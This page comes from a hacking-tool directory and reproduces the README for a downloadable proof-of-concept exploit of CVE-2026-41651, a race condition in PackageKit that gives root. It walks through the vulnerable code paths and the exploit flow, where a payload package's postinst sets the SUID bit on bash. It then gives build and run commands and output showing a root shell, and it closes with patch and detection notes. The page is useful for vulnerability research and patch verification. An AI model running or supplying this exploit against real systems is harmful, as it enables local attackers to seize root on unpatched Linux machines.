Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-41651 | Kitploit
Tools/GitHubGitHub/vozec/cve-2026-41651
Privilege EscalationVulnerability AnalysisExploitation
GitHubvozec/cve-2026-41651

CVE-2026-41651

View Repository
114183 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Pack2TheRoot — CVE-2026-41651

TOCTOU race in PackageKit's transaction handler. Any local unprivileged user can install arbitrary packages as root with no authentication.

Platform Language CVSS Status


Overview

FieldValue
CVECVE-2026-41651
ComponentPackageKit daemon (packagekitd)
Affected versions1.0.2 – 1.3.4
Fixed in1.3.5
ImpactLocal Privilege Escalation → root
Auth requiredNone
User interactionNone
Tested onUbuntu 24.04, Debian 12

Demo

poc

Vulnerability

Three bugs in src/pk-transaction.c chain together to create a TOCTOU window between authorization and execution.

Bug 1 — Unconditional flag overwrite (line 4036)

InstallFiles() unconditionally overwrites cached_transaction_flags and cached_full_paths with no state check:

root@kitploit:~
transaction->cached_transaction_flags = transaction_flags;
transaction->cached_full_paths = g_strdupv (full_paths);

Bug 2 — Silent state-transition rejection (lines 876–881)

pk_transaction_set_state() silently drops backward transitions. The flags are already overwritten, but the state stays as-is:

root@kitploit:~
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
    transaction->state > state) {
    g_warning ("cannot set %s, as already %s", ...);
    return;
}

Bug 3 — Late flag read (lines 2273–2277)

pk_transaction_run() reads the cached flags at dispatch time (from the GLib idle), not at authorization time:

root@kitploit:~
case PK_ROLE_ENUM_INSTALL_FILES:
    pk_backend_install_files (transaction->backend,
                              transaction->job,
                              transaction->cached_transaction_flags,
                              transaction->cached_full_paths);
    break;

Bonus — SIMULATE bypasses polkit (lines 2893–2900)

Setting PK_TRANSACTION_FLAG_SIMULATE (bit 2, value 0x4) skips the polkit check entirely:

root@kitploit:~
if (pk_bitfield_contain (transaction->cached_transaction_flags,
                         PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
    pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
    return TRUE;
}

Exploit Flow

root@kitploit:~
Attacker                         packagekitd
   │                                  │
   │  CreateTransaction()             │
   │─────────────────────────────────►│  state = NEW
   │◄─────────────────────────────────│
   │                                  │
   │  InstallFiles(SIMULATE, dummy)   │
   │─────────────────────────────────►│  SIMULATE → polkit skipped
   │◄─────────────────────────────────│  state = READY
   │                                  │  g_idle_add(run_idle_cb) ← queued
   │                                  │
   │  InstallFiles(NONE, payload)     │  [BUG 1] flags + paths overwritten
   │─────────────────────────────────►│  [BUG 2] set_state(WAITING_FOR_AUTH)
   │◄─────────────────────────────────│          → silently rejected
   │                                  │          state stays READY
   │                                  │
   │                      [idle fires]│
   │                                  │  pk_transaction_run()
   │                                  │  [BUG 3] reads NONE + payload
   │                                  │  → dpkg installs payload as root
   │                                  │  → postinst: chmod +s /bin/bash
   │                                  │
   │  execv("/tmp/.suid_bash -p")     │
   │─────────────────────────────────►│
   │              euid=0(root)        │

Both InstallFiles calls are sent as fire-and-forget async D-Bus calls before the client's main loop iterates. This guarantees both messages land in the server socket before the GLib idle can fire — no race to win.

polkitd eventually returns NOT_AUTHORIZED for the second call, but by then APT has already dispatched the installation. The error is expected and harmless.


Build

root@kitploit:~
sudo apt install libglib2.0-dev
make

No other dependencies — the .deb packages are built in pure C at runtime.


Usage

root@kitploit:~
./cve-2026-41651
root@kitploit:~
═══════════════════════════════════════════════════
 CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy   : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...

[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

euid=0 — all privilege checks in the kernel use the effective UID.


Docker

root@kitploit:~
docker build -t cve-2026-41651 .
docker run -it --rm cve-2026-41651

The image builds PackageKit 1.3.4 from source (commit 2149735, last vulnerable), starts dbus + polkitd + packagekitd, then runs the exploit as an unprivileged user.

Note on the g_assert: the Docker image patches out a g_assert (!transaction->emitted_finished) guard in pk-transaction.c. On a real unpatched system this assert fires when APT's thread tries to emit Finished after polkitd has already done so, crashing the daemon via SIGABRT. The SUID bash is already on disk by that point, so the privilege escalation succeeds — the crash is a side-effect DoS. packagekitd restarts on the next D-Bus activation.


Detection

On PackageKit ≥ 1.3.5 the second call is rejected:

root@kitploit:~
[-] Target is PATCHED (PackageKit >= 1.3.5)

The fix adds a state guard in pk_transaction_method_call():

root@kitploit:~
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
    g_dbus_method_invocation_return_error (invocation,
        PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE, ...);
    return;
}
root@kitploit:~
pkcon --version
journalctl -u packagekit --since '5 min ago'

References

  • NVD — CVE-2026-41651
  • GitHub Advisory — GHSA-f55j-vvr9-69xv
  • Telekom Security — pack2theroot
  • Fix commit — 76cfb675
  • OSS-Security announcement
Download Tool